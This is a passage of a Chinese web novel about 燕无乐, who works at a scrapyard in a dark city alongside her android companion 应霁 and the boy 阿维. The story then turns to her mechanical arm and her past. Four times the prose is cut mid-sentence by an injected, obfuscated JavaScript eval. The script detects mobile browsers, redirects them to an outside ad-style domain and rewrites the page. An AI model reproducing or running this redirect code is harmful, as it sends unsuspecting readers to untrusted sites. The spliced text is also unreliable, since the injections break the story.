毕竟能用描述就让阿维如此向往金銮,燕无乐对他表达的真实性抱有怀疑。 但与其在这推理,不如直接去会会本人。 她推开大门:“走吧,我们还要去签房屋契约呢。” 提亚斯的作息倒是比他物品摆放得规律。 见二人还穿着昨日那身衣服,他放下手里正在捣鼓的咖啡机,“要不我还是送你们个洗衣机吧?” 燕无乐心想,「扁舟」内有成套的洗护系统,他们只需要按时去更换衣物就好,洗衣机什么的……她看了眼房间中央轰隆作响的庞然大物,默默地把头偏了过去。 应霁倒是脱口而出了一句“好啊”。 “那真是太感谢你了。” 燕无乐不得不把头又拧了回来,强颜欢笑地打量着这个她绝不会用的装置。 “哦,看来你比你女人会过日子,这样一台机器放在外面起码五百块起步,我这白送的你们就别嫌弃了。” 提亚斯左敲敲右拍拍,像是在做什么出厂检测。趁他低头的空档,应霁凑到燕无乐耳边:“……我们是不是不需要洗衣机?” 无语,她同样小声道:“你才发现?看来察言观色的能力还得练。” “是你比较难懂。” 应霁声音更小了些。 “没人……” “蛐蛐什么呢?”提亚斯洪亮的声音不合时宜地响起,“嗐,一晚上过去感情和睦了这么多?果然还是年轻好啊!” 忽然被打断,燕无乐累计起来的情绪就这样飘在空中,半晌她才撂出没说完的话,小声但清晰:“没人要求你懂我。” 应霁耸耸肩,不知有没有听进去。 而她将视线从他身上移开。是某个系统迭代了吗?她想,总觉得应霁不像之前那么僵硬了。 提亚斯还在挤眉弄眼,直到应霁叹了口气,说他给的床太小了。 “——半宿都没睡好,所以吵架了。” 这张口就来的假话又引得燕无乐抬起了头,应霁也意味深长地回了个眼神。 什么“半宿没睡”,昨晚明明是他解除节能模式,正准备全神贯注分析某人接下来的话时,接收到的却是均匀的呼吸声。 像一条未完成的prompt,他对着空旷的天花板愣神,倘若他身体连有一台显示器,此刻上面只会显示一颗在迷茫中闪烁的光标。 演戏、小时候、幻想拯救……寥寥词语组成了一串难懂的语料,怎样分析都似乎与现在的燕无乐无关。 应霁想,他不是简单的大语言模型,他应该有能力探索人类的言下之意,或者更深层的感情。 然而倒头就睡的燕无乐不给他这个机会。 此刻,她不解地丢来一个白眼,然后对着提亚斯转移话题:“我们来签房契,之后还要去换一批家具。” “那你们怪默契,吵架了也能继续过。不错,像夫妻。” 提亚斯抛下洗衣机,一边叨叨一边找来纸笔,“来,这里签个字,两人都要签。” 这张契约一改提亚斯往日形象,既不古旧也不泛黄,干净得像刚打印出来,上面布满蝇头小字,一眼望去找不到重点。 燕无乐将它举起来,方便应霁一起看。 提亚斯头也不抬:“第七条是你们所需支付的内容,第十一条之后是禁令,最后两条是极夜城的规定,有问题尽管问。” 然而第七条上并没有租赁价格,取而代之的是“劳务偿还”四个大字。 燕无乐把契约放下:“劳务偿还?我们并不是完全掏不出钱来……” “但我不缺钱。”提亚斯打断她,二人顺着他的手指方向看去,才发现垫在齿轮组之下的“废纸”,全是与之类似的契约和凭证。 “你们昨天劫持的那男人只能依靠房屋赚钱,自然价高又难搞。但给你们借个住房对我来说只是顺手的事,我图的不是钱。” 极夜城的房屋加密程度很高,管理又很严格,不然他们也不会去和刺青男人纠缠。而对于资源匮乏的极夜城来说,一般等价物的吸引力有时确实不抵更直接的劳务交换。 提亚斯又掏出一份契约展开来,末尾赫然写着“阿维”两字,“不瞒你们说,阿维那孩子签的也是劳务偿还,他帮我打理那间酒吧就是内容之一。” “那我们要做什么?” 应霁把契约接过来,看似问得漫不经心,实际上扫描验证了一番。 提亚斯摆摆手,表示不会让他们也去调酒,他转而拿出一沓照片,其间还有一份叠得整齐的地图。 “今天阿维轮休。去找他吧,他会告诉你们该做什么的。还不知道你们叫什么——” 提亚斯接过签后的契约,推了推眼镜: “安风禾、齐雨——好的,祝我们合作愉快。” * 化名是飞船还未落地时就商量好的。 燕无乐不会傻到用真名闯荡江湖,而应霁保险起见也该有个伪装。于是她用了母亲安梵的姓,他则直接拆了自己的名。 此刻,他们拿着提亚斯给的地图,正吭哧吭哧地驾驶一辆四轮皮卡车。 车已驶离小巷,二人的视野也随之开阔,那些层层叠叠的灰色房屋逐渐稀疏,而他们也像是从土里钻出来般,对远方的地平线感到恍惚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158011|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路越走越不平,燕无乐索性把处理后的路线发给应霁,自己扶住车架抵抗颠簸。 按照地图,这条纯天然的大路尽头就是目的地,阿维会在此处接应他们。 挡风玻璃不太干净,燕无乐摇下车窗,想直接探头去看。没成想刚露出一丝空隙,一股怪味就蹿了进来。 铁锈味和土腥味混杂在一起,穿插着胶皮燃烧留下的刺鼻气味,它们伴随着冷空气,一股脑地冲二人面门袭来—— 燕无乐又把车窗麻利地摇上去了。 应霁手握方向盘,短短几秒就完成了气味分析。他表情无奈地摇摇头:“这活恐怕挺脏的,物理和化学意义上的脏。” 话音未落,他们视线尽头就出现了一个摇摆的小点,随着接近逐渐清晰,是阿维正在挥动双臂。 他站在一个隆起的小山包上,动作像一只意欲起飞的大雁。随后,他一个箭步跳了下来,跑到二人堪堪停稳的车前,“嗨!你们真的来啦?” “我以为金銮城的人受不了这样的工作呢!” 二人推门下车,刹那间空气中的怪味就钻入鼻腔,燕无乐下意识甩了甩头,发现毫无缓解的可能。应霁替她问出了困惑:“这是什么地方?” “废品站!是这片城区内最大的——哎?所以提亚斯没告诉你们,契约上的工作是回收和分拣废品?” 燕无乐耸耸肩,表示现在知道了。 阿维闻言惊叫一声,把她吓得一哆嗦:“那你们怎么敢签?金銮城的人都这么单纯——哦不,勇猛的吗?” “此话怎讲?”环顾四周后,应霁终于发问道。 阿维大声叹了口气,随即招招手示意二人跟上。他脚步轻快,如果不是这越来越强烈的怪味,燕无乐会称他为某个乐观的小精灵。 从这四周堆积的废旧杂物数量来看,“废品站”的标签还是保守了。阿维带着二人,轻车熟路地在成色不一的杂物山中穿梭,同时兴奋地介绍着它们的故事: “这里!看见那闪着金光的头盔了吗?当初我捡到时还以为是镀金,想着能卖个好价钱,没想到被提亚斯一眼认出来是油漆,亏死我了!” “还有那堆东西,是不是看起来更废一点?其实当初的回收价都不低!” “对了,看见了吗?一个小房子!那里就是你们值班时要住的地方——” 这间被废品堆环绕的小屋倒是难得,二人随阿维进门一看,面积不大,但胜在干净整洁,厚实的窗帘上方,竟然还装了自制的空气净化器。 燕无乐终于吐出了进入废品站后的第一句话,她随口道:“你对废品站很熟悉呀,那么多回收来的东西都记得清。” 那些令人眼花缭乱的废品被隔绝在门后,二人的注意力终于聚焦于这个少年本身。 阿维听后挠挠头,不好意思地笑了。 一道浅纹自他眼角堆叠,浮现在他过于白皙的肤色上,让燕无乐想起冬天滑雪时山间的板痕。 他撇开头,声音小了些: “其实,我在来这里之前,一直生活在极夜城的垃圾场附近。” 23. chapter 23 阿维和提亚斯的相遇略显庸俗。 极夜城资源有限,资金和人力限制了开发面积,而未开发土地并不全是无人之地。尤其是居民区附近,大片矿坑遗迹承接着人造垃圾。 作为价格极为低廉的公共属地,只有连蚁穴都住不起的人才会选择这里。 而这些道理是阿维遇见提亚斯后才明白的。 彼时的他还是个热衷于在垃圾山中淘金的孩子。 极夜城终年没有阳光,但废旧碎金属会倒映出远方路灯的微芒,他不分昼夜地低头、弯腰,仔细观察着自己一步一步踩过的“银河”,并从中扒出可能值钱的物件。 然后他把它们揣入怀中,直到兜不下了再抬起脑袋。在距这不远的地方,有零星凸起的小房,那里住着他腿脚不便的奶奶,她比谁都会讨价还价,能将他收集来的物件再卖给废品站。 这就是阿维过去十年的生活经验。 极夜城背离人造太阳而生,永恒无光,城内的照明装置也正因如此长明不灭。对阿维来说,他脚下的银河也明明灭灭,每天都随着垃圾车的倾倒而变幻。 他从未想象过脚下之外的世界,直到这条“银河”突然有了个名为提亚斯的主人。 在那个寻常夜晚,除了被叩响的门阀外,似乎一切都没变。 身着风衣的中年男人递来一张写有文字的纸,阿维看了两眼后又茫然地还了回去。 斗大的字不识几个,他根本无法读懂其中所写。 床上的奶奶见状想要起身,颤颤巍巍又拉又拽半晌也只是坐起。 最终,屹然不动的男人叹了口气。低哑的嗓音从浓密胡须后传出,他言简意赅道,从此之后这片土地归他所有,而他们不能再住在这了。 不能再住……?阿维露出了比看到那纸文字更迷茫的神情。 而奶奶坐在床沿,闻言剧烈地咳嗽起来。 “这里会改建,你们必须要搬走,尽快找一个新的住所吧。”男人胡须摆动,说得更多了些,但阿维盯着他的脸并没有听进去太多。 他只是站在原地,视线从男人脸上挪开,恍惚中发觉夜幕像无尽的黑洞,然后他喃喃道,搬去哪里呢? 周遭沉寂,奶奶的呼吸声粗重又断续。 “……” “算了。”男人取下帽子,他的络腮胡几乎与头发连为一体,而阿维还没来得及闭上半张的嘴,一张颜色更为丰富的卡片就出现在了面前。 他看见男人的手指划过其间最瞩目的一行字,话音响起: “我叫提亚斯,明天,我来这里接你们。” …… “于是第二天,我获得了一份新工作!” 领着二人,阿维推开废品站的大门走了出去。此地位于居民区的另一端,那片记忆中的垃圾场已经随着提亚斯的收购而回填成平地了。 在他口中废品站的规模远不如垃圾场,在这里,来自四面八方的废品根据材质成色被分门别类地堆起,一丛丛高耸如同谷地上的麦垛。 他的脚下不再有松软的银河,取而代之的是坚实的水泥路面,物件变得既定而有序,无需低头也没有什么能再吸引他低头。阿维不知这种变化是否算好,但他逐渐习惯,也不再想。 提亚斯为他和奶奶提供了居民区内的房子,阿维也学着极夜城内的上班族开始了往返通勤。根据排班,他要按时到达废品站,根据提亚斯的要求收购和分拣产品。 燕无乐看着脚边大小不一的金属废品:“他是要从中提炼什么吗?” “我也说不清楚。”阿维耸耸肩,“我后来才发现,提亚斯做这些好像不是为了赚钱。” “他不缺钱,谁也不知道他的钱是从哪来的。” “但你们回收后修复的废品,其中有很多又流入了市场。那些小巷商贩的货物就是从这批发的吧。” 应霁忽然出言,他反问阿维,这难道不赚钱吗? 阿维倒也坦然:“当然。但我的意思是,提亚斯在买下垃圾场之前就很有钱了。而在此之前,极夜城内的人好像都不知道自己身边还藏着这么个富豪。” 他继续向二人介绍工作。内容很简单,他们只比阿维多做一步修复,这在废品站算技术工种。 燕无乐的思绪却还停留在关于提亚斯的部分,她想继续追问,然而阿维却摇摇头表示已经知无不言了。 他嘴一撇:“一直是我在说,现在轮到你们了——你们真的是从地面的那边过来的?金銮城?” “可提亚斯之前明明说,他亲眼看见‘矿洞’被封死了啊?” 阿维瞳孔漆黑,眼白很少,肤色像其他极夜城居民一样白皙,被盯着时有几分涉世未深的纯良感,让燕无乐想起小时候在基因博物馆看见的、毛茸茸的地球生物。 「矿洞」确实封死了,但那只是对极夜城居民而言。 对于科技高度发达、法律也臻于严格的金銮城来说,总有人走投无路,转而想起道听途说而来的、脚下那端存在的另一片土地。 飞船偷渡是主流方法,而几十年前借着情报走前人开拓出的隧道也是一种方法。 后者的危险程度更高,听上去也更玄幻,但仍有人跃跃欲试。 但介于提亚斯的富豪身份,搞一架洗刷掉编号的飞船走线应该更为容易,有钱人总是更惜命一些,燕无乐想。 至于他究竟出生在哪……她很难判断。 她只得对阿维耸耸肩,说他们搭了货运飞船的便车,不知道什么「矿洞」。至于提亚斯的话,可能只是添油加醋后的产物。 燕无乐更好奇阿维对金銮城的昂扬态度,“你以前在垃圾场生活时,不是对远方的居民区都没有兴趣、也没去过吗?” 阿维超天白了一眼:“那是以前不知道别处的好!提亚斯说人得先走出去,走出去就会变好。而极夜城外只有金銮城!” 燕无乐下意识想否认,极夜城外不止金銮,走出去的世界也不一定能满足谁的想象。 而她最终什么都没说。 “——不过我很生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161137|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气的是,提亚斯说金銮城也就那样!我问他该如何去金銮城,他不仅不告诉我,还让我别瞎想了!”阿维不满地大声道,嚷嚷中又抱怨了提亚斯的种种不是,什么忘性大、总糊弄、对他说的东西一笑了之。 这倒是让她听得一愣。燕无乐的大脑随即飞速运转,试图抛出一个诱饵,能不经意地让阿维透露出更多信息。 有关提亚斯的、有用的信息。 终于,阿维的滔滔不绝即将休止,而她还没来得及出声,身后另一道声音就抢先响起:“那你还愿意跟着他吗?我是说,这种总是让你……觉得不被重视的时候?” 这话问得没头没尾,也打乱了她诱导的提问节奏。燕无乐疑惑地回过头去,应霁的视线却闪躲到别处。 阿维或许也是第一次被这么问。他偏头想了一下:“愿意啊,他只是年纪大了,又不是故意的。” 应霁若有所思地“嗯”了一声,又观察废品站的陈设去了。 徒留阿维和燕无乐面面相觑。 阿维看着应霁远去,再看燕无乐时的眼神中多了分敬佩:“说真的,姐,你男人挺少见的,他不怕你跑掉吗?” 燕无乐感到莫名其妙:“我为什么要跑?” 阿维也面露迷茫,他迟疑了一下才问,难道金銮城不是这样吗? “就像提亚斯和我之间有房屋契约,我需要报答奶奶抚养我的恩情,所以我们离不开对方。极夜城里也流行伴侣向对方抵押贵重物品,那你们呢,又是靠什么在一起的?” 燕无乐语噎,她从来没想过这个问题。 “在一起”对他们而言是既定事实,是应霁从被激活开始就面对的事情,她没想过前因后果。 “如果什么都没有,你为什么不跑呢?这里很多女人都想离开她们的男人,她们只是做不到。” 燕无乐只能尴尬地笑笑:“我和她们不太一样吧。” 她向阿维摊开双手,两个掌心纹路相似,肉眼根本看不出模拟肌肤与原生的差别。 “我掌握了修复技术,到哪都可以混口饭吃。齐雨也是这样,我们离开对方依然可以生存,不会有什么影响。” 阿维听完更迷茫了:“那他不是更应该担心你跑掉吗?” 燕无乐:“……” 三言两语说不清,而阿维正目不转睛地看着她,一副势必要打破沙锅问到底的模样。这场景好像在骗小孩,燕无乐感到一阵良心不安。 还是快逃离现场吧。 “……啊,我的心在他那里呢,没关系的。” 燕无乐心说这也不算撒谎,应霁是她赌上一切的心血,自己的心当然在他那。 心?这抽象的答案也让阿维一懵。 他还没思索出到底是“芯”还是“锌”,但听上去总之是个抵押物,于是他懵懂地点点头,燕无乐也终于得空脱身。 只有不远处的应霁摸了摸耳朵,悄然关闭了接收器。 「假话」 ——他胸膛内的处理器得出结论。 24. chapter 24 废品站不算大,但阿维讲得认真,时间也过得飞快。 远处的居民区传来阵阵钟声,这是宵禁的预告。 虽然极夜城没有日升月落,但只要有钟表,人们就无法忽略时间的概念。再过不到四小时,纠察队会上街驱逐行人,强制城区内保持一致的作息。 这是为抵抗环境而生的规则。 乍响的时刻通报中断了阿维,他不好意思地挠挠头:“原来我说了这么久,还没有分工呢。” 废品站的运作流程非常简单,用科鸢集团的话来说就是扁平化,而用人话来说就是“没事干活,有事协商,解决不了再找老板”。 提亚斯作为废品站的甩手掌柜,平常不会出现。而阿维虽然是资深员工,但地位上与二人同等。 废品站的工作强度也很固定,燕无乐和应霁只需要分摊阿维的工作,去居民区收收东西,再回来修修东西。 “但我们和别家不同,我们还发展出了一条新业务!”阿维勾勾手,下一秒打开了房间里的柜子,里面摆放的东西明显规整了许多。 “对于一些修修还能用,甚至开发出新用处的装置,我们也提供送货上门的零售服务!至于客户嘛,提亚斯会提供的,他很擅长和人打交道。” 他递过来一些旧日单据,上面的送货地址都在居民区内,那些分布密集的矮房之中。 燕无乐当机立断,说自己可以做送货员。 她记得DM所交付的钱款证据,还有那扁舟中响起的神秘声音,一切的线索都指向极夜城中面积最大、地势最为细碎复杂的矮房群。 而她也正苦于没有接近那里的契机。 但阿维听完后却摇摇头,用同样果断的态度说了“不”。 “我觉得不妥当,太危险了!前几天我还听说小巷摊贩那里有女人被带走了呢!居民区里什么人都有,各行各业人人都有自己的规矩,如果不是忌惮纠察队,那里不知道会乱成什么样!” 燕无乐:…… 应霁眉头一挑:“那个女人的故事,我好像也听说了。” ……真是搬起石头砸自己的脚。 “而且我们配送的货物外观不一定都很低调,你一个女人,还带着明显的值钱物件,怎么说都不安全。” 他把视线投向一旁正笑而不语的应霁,跃跃欲试道:“所以我觉得,齐雨哥是个更好的人选!” “嗯,我可以和风禾一起去,两个人就放心多了。” 没成想阿维还是面露难色,他看看燕无乐又看看应霁,露出了一副似乎要棒打鸳鸯般的不忍神态,“但是提亚斯嫌我东西修得太差,正好你们来了,他说让风禾姐留在这修修东西,顺便教教我。” “……” 最终,燕无乐挤出一句“行”。 三人心思各异,但也算达成共识。阿维还要值班,于是燕无乐和应霁原路返回。 应霁率先打破沉默:“如果有线索,我会转达给你的。” “嗯。我不想拖得太久,金銮城还等着我们回去。” 她拽了下已经沾上怪味的衣服,又望了眼遥不可及的「矿洞」方向,在完全适应蚁穴的生活前,她恐怕没机会去飞船内换衣服了。 但燕无乐隐约觉得,这不是她迫切想要离开的原因。 极夜城的环境固然脏乱差,但并不是全然无法忍受。正相反,让燕无乐感到无所适从的,是一些解释但无果的事后片刻。 她说出口的话好像一阵风,在众人耳边轻柔萦绕,接着消散,无足轻重。 一些是原始的恶意,另一些则是善意的保护,前者她可以反击,后者则让她无力。它们如同一团棉花,将她包裹其中,却也阻挡她触摸真实的世界。 应霁不再说话,他们并肩向城区驶去。 * 极夜城如同金銮城的反相照片,时间久了,燕无乐竟也觉得这黑夜还行。金銮的阳光是真的,而极夜的夜幕也是她从未体会过的。 又是一天往废品站通勤的日子,应霁开着四轮皮卡,而她仰着头从天窗中看星星。 这里的星空不是金銮城大气外被模拟出的遮罩。数万光年之外的自然星系混合着人造天体,在恒久的黑幕中闪烁不一。 按照钟表时间,居民区还未苏醒,方圆十里寂静无人,而这轮胎下的道路也被碾压得不再那么颠簸。 阿维依旧站在小房之前,对着他们遥遥挥手。按照排班,他可以搭应霁取货送货的顺风车,回到蚁穴补觉,夜里再去酒馆摇一摇山寨雪克杯。 而在取货的订单送到之前,三人有空短暂相处。 阿维伸了个懒腰,推开门露出了乱糟糟的工作台,应霁瞟了一眼,直言不讳地当了燕无乐的嘴替:“又修坏了?” 他不好意思地嘿嘿一笑,将身一侧让出路来,这是针对燕无乐的惯用伎俩了。而她把台灯往上拽了拽,方便更好地观察残局。 这次是从三个不同装置上拆下来的零件,有芯片、显示器和触控装置,提亚斯说最近城内很流行便携的视频播放器,生产一些二手播放器也方便他连带卖内置视频。 三个员工、无需研发、原料成本极低……燕无乐看着成品定价一算,毛利率远超科鸢工厂。 这还没算提亚斯贩卖的打包视频,以及两个员工不怎么动手导致的生产率不饱和。 ……这也太会做生意了。 星系内龙头科技集团的总裁一边拧螺丝,一边默默地想。 阿维倒也不闲着,站在一旁看时手中还擦着各种金属外壳,应霁站在角落核对货物和单据,精微焊接闪出的火花时不时将文字照得锃亮。 这套设备不知是猴年马月产的,连接处的胶线已经开裂,没用多久她的掌心就被烤得发烫。但对于热能不怎么充足的极夜城来说,他们权当它在暖手。 移动视频播放器比往日产品精密而复杂,燕无乐手上不停,让阿维把台灯又往下拽了拽,她的头则伏得更近。 兹拉作响的电火花在短手套外跳跃,混合着阿维擦铁锈时发出的嘎吱声,她做得专注,丝毫没注意手掌边缘逐渐升高的温度—— 直到一道火光跃然面前,燕无乐还没来得及反应,身旁的阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174259|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维就“啊”出了声—— “着火了!” 火花点燃化纤短手套,瞬间火苗窜起,眨眼间灼热感就布满手臂! 燕无乐倒抽一口冷气,阿维眼疾手快,转瞬火焰就被他用抹布扑灭。 应霁也围了过来。但他的紧张神情在看清伤势后就消散了不少——被烧伤的是覆在机械臂上的模拟皮肤。 燕无乐也悄悄瞟了眼他,二人一时语噎,只有被蒙在鼓里的阿维焦急得上蹿下跳。 他手中的金属外壳“哐嘡”一声掉在地上,想要拿起燕无乐的手臂仔细查看,手伸到空中又不敢触碰那狰狞的伤痕。 阿维不知道怎么处理这种情况,他手忙脚乱地想用抹布冷敷,拿到手上又想起上面全是除锈的废液。 而燕无乐举着“伤手”,给应霁递了个眼神:“没事的,先拿点干净的水来。”应霁听懂了她的暗示,出门取水的同时也准备揣上藏在车中的医用针线盒。 看他冷静离开,阿维也镇定了些,他结结巴巴地凑出一句,不痛吗? “都怪我,没注意它外面已经老化成这样了,如果早点换掉就不会出这种事……” 他目不转睛地盯着她手臂上已经鼓出来的水泡,它的表面泛着脓黄,令人发怵。 然而燕无乐本人并没太大痛感,她担忧的是这块岌岌可危的皮肤突然破裂,露出里面银灰色的机械臂。 为了不暴露身份,她几乎放弃了机械臂的所有附加功能,像农民丢失了锄头,让她在极夜城工作得分外费力。 早知道应该把阿维支走的,她想。 但阿维显然不知道燕无乐在烦躁什么,他依然寸步不离,紧张地观察着她的一举一动,絮叨不停。 “要是毁容怎么办,你这么漂亮……而且这么大面积,以后都不能穿短袖了……” “真没事的,别紧张好吗?”燕无乐后退一步,生怕那块假肉掉下来。 阿维突然激动起来:“怎么可能没事!” 燕无乐:“这就是个意外,不是谁的错,没人会怪你的。” 但阿维不这么认为,他本来话就密,一紧张说得更多。他向前跨了一大步,那触目惊心的伤口彻底暴露在他眼前,燕无乐心都快提到了嗓子眼,“我保证,这不是你的错!” “不!”他愧疚地摇摇头,“这可是毁容,风禾姐你又长得漂亮,这和砍掉工匠的手有什么区别!” 这是什么逻辑? 燕无乐彻底不耐烦了:“漂亮有什么用?难看又怎样呢!” “又没有伤到骨头,过一阵子我的手依然能动!哪怕今天毁容的是脸,又能怎么样呢——” 久远的记忆复苏,十几年前从消毒水味道中醒来时,那抬起胳膊却不见手臂的惊悚感再次涌上心头,紧接着是被迫接受现实的钝痛,是之后漫长的胸闷和哀伤。 燕无乐以为自己早就释怀了,直到阿维的话与记忆中的闲言碎语重叠。 “行了,不要说了。” 她一把推开阿维,脸色冷得可怕。 “我不想再听到这些了。” 25. chapter 25 应霁是在废品站的某个金属山丘上找到燕无乐的。 他匆匆赶回时房间中只剩阿维一人,他一边抽泣,一边颤抖地指了指大门:“风、风禾姐出去了,都怪我、让她生气了……” 应霁拍了拍阿维的肩膀,隔着褪色的T恤,这孩子瘦出骨架的脊背硌得他一怔。他忽然觉得现在不应发问,即使这会让他的行动变得低效又耗能。 阿维还不足他肩膀高,手搭在上面像抚摸小兽,另一条计算外的话弹出:“好了,别想太多,没问题的。” 应霁拉过椅子让阿维先坐下,然后神秘兮兮地问他,相不相信自己能哄好她。阿维果真不哭了,他就这样呆呆地看着应霁出门,直到闻讯赶来的提亚斯将他带走。 极夜无风,只有群星闪烁。 燕无乐抱臂坐在金属垃圾堆成的山丘上,看着一颗颗星星沉入地平线以下。忽然,身边传来咔嚓的响动,然后旁边一沉,她不用扭头就知道是谁来了。 应霁没有说话,直到燕无乐冷漠地问他,医用针线盒带来没。 那打火机大小的盒子就藏在他口袋里,里面包含了所有能让她的假皮复原的工具,只需一小会儿,她的“伤痕”就能愈合如初,让一切好像从未发生。 他没动:“过会儿。” 她也没再催促。 拖延不是二人做事的风格,但不知为何,此刻他们都不想动。 星海铺展出黑夜的范围。它们在人眼中闪烁得毫无规律,但只要机器稍作分析,就会发现它们亘古难改的轨迹。 各种弧线在应霁眼中延展又闭合,渐渐的,他中止了分析指令,像燕无乐那样完全放空自己。 他没有从阿维那获取足够多的提示性信息,而她也不爱倾诉自己。或许陪在她身旁就是最好的解法。 气温逐渐下降,远方传来宵禁的钟声,燕无乐低头触摸已经冷透了的伤口,然后把皮肤组织撕了下来。 她的机械臂外壳重见天日,在星空下闪着幽幽银光。 待机太久,上面的光屏已无法启动,除了与神经相接的机械骨骼,它此刻不再有任何附加作用。 应霁听她慢慢地问了句,你觉得好看重要吗? “人造肌肤的技术早就成熟,当年大家就提议把它和手臂做到一起,只用金属材料替换骨骼,这样肉眼看不出差别。” 彼时的燕无乐正逢中学,事故发生后,她居家修养了很久。没了去学校的打算,她也不在意自己的右小臂看起来是否如常。 “我一直不同意人造肌肤的方案。但当时,肌群组织已经在我爸妈的监督下培育完毕,而我直到手术那天才知道要发生什么。”她平静道,“他们出尔反尔,最后一刻才告诉我,他们不希望我看起来太……太特殊。” 这和他们曾答应的相距甚远。 燕无乐叹了口气,把诸如“无论怎样爸妈都爱你”和“我们是为你着想”等陈词省略,只记得自己当初设计了辅助机械臂的雏形,也为此吃药和训练数月,但最后一刻似乎都付之东流。 她举起手臂:“最初设计它只是为了转移注意力,毕竟复健和诊疗都很煎熬。但当我发现很多设想或许能实现时,我就不愿再接受那个普通的移植计划了。” 但燕成蹊和安梵没把她的设计当一回事,在他们眼中,女儿不应冒这么大的风险去尝试一个疯狂的改造计划。 安安稳稳地继承科鸢集团不好吗,为什么非要将那么多危险因素植入机械手臂,再安装到自己身上呢? 简直是画蛇添足,无事生非。 燕家夫妇二人都很体面,当着女儿的面说不出什么狠话,但那欲言又止的神情她依然能捕捉到。 “一个女孩子这样太辛苦了,爸妈心疼你,咱们漂漂亮亮的不好吗?手术做完你又能有光滑的皮肤和灵活的右手了,一切都完好如初呀。” “但现在不是!事情已经发生了,为什么要假装看不见呢?!”手术室外,她用完好的左手臂拽着栏杆,另一边空空的袖管随着她的挣扎上下挥舞,手术知情书的碎片散落一地,她无论如何也不妥协。 这家私家医院隶属于科鸢集团,清透的阳光穿过宽敞走廊,一众医护人员没人敢上前掺和。 时间一分一秒过去,一家人就这样僵持着。燕无乐紧咬牙关,依然抱着栏杆不松手,安梵劝不动也扯不动。 场面很难堪,尤其围观群众还都是自家的员工。 燕成蹊长叹一口气,“这孩子犟的很。行了行了,今天不做了!我们回家再说。” 安梵也出了口气,转头就联系了司机。 围观群众之一的主治医师这时才谨慎开口,询问之后的治疗方向,“我们要评估一下,这针对移植后续排异反应的药还需不需要继续服用……” 燕成蹊不耐烦地挥了挥手,示意再谈。反倒是一直没出声的燕无乐,在听到后大声地说了句“要”。 但这显然不是回心转意。 “我以后还是要移植的,但不是培育出的肌群组织!”她大喘气了一口,声音终于平稳了些,“我要移植更有用的、升级后的手臂。” 燕无乐的毅力比燕家二位预期得要强。 拒绝现有的移植计划后,她借用了家里的资源,开始将图纸变为现实。 代价则是无限期延长了她回归正常生活的时间。 燕无乐不再参加学校的课余活动,放弃了与郁莱登台出演话剧的机会,她学会了用左手考试答题,用脑机接口输出笔记。 最初安梵为她准备了仿真义肢,它没有太多功能,但足够逼真以填满空荡的袖管。但没过多久燕无乐就嫌它碍事,宁愿把它丢在桌洞吃灰。 当然,她没有把这些告诉父母。 各退一步是一种妥协的智慧,机械臂的研发比想象中费钱费时,她在科鸢折腾还需要看父母的脸色——毕竟金銮城上下,还没有谁愿意改造自己的肢体,去追求超越人类本身的意义。 在法律上这也处于灰色地带。燕成蹊和安梵私下讨论时,甚至怀疑这有违人伦。 说不定哪天她就失败了,然后又做回听话又美丽的女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186528|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——这个设想能让他们暗中松一口气,却只会让她不甘心。 但她依然不想选择父母口中那条,轻松又得体的道路。 “阿维今天也说,漂亮很重要,对女人而言代表着机遇、魅力、优渥的未来……似乎胜过所有。” “真的是这样吗。” 燕无乐忽然转过头来,漆黑的瞳仁如同极夜城终日的天色,明明是问句却说得毫无波澜。 远方,纠察队的手电逐渐接近,一道道光柱刺破黑夜,不经意间蹭过她的脸。 强光让她的瞳孔骤缩,露出虹膜上通透的光泽。 一切只发生在一瞬间。 应霁模拟出的呼吸也随即一滞。是气温太低了吗?他感到自己的计算速率在下降。 “……你心里有答案吧。”不然也不会冲阿维生气。 他听见自己的声音从体内传出,一张嘴就有白雾吐出。 太冷了,一定是低温导致的宕机,一定是。 手电筒的光转瞬即逝,但燕无乐依然定定地看着他,等着后续解释。 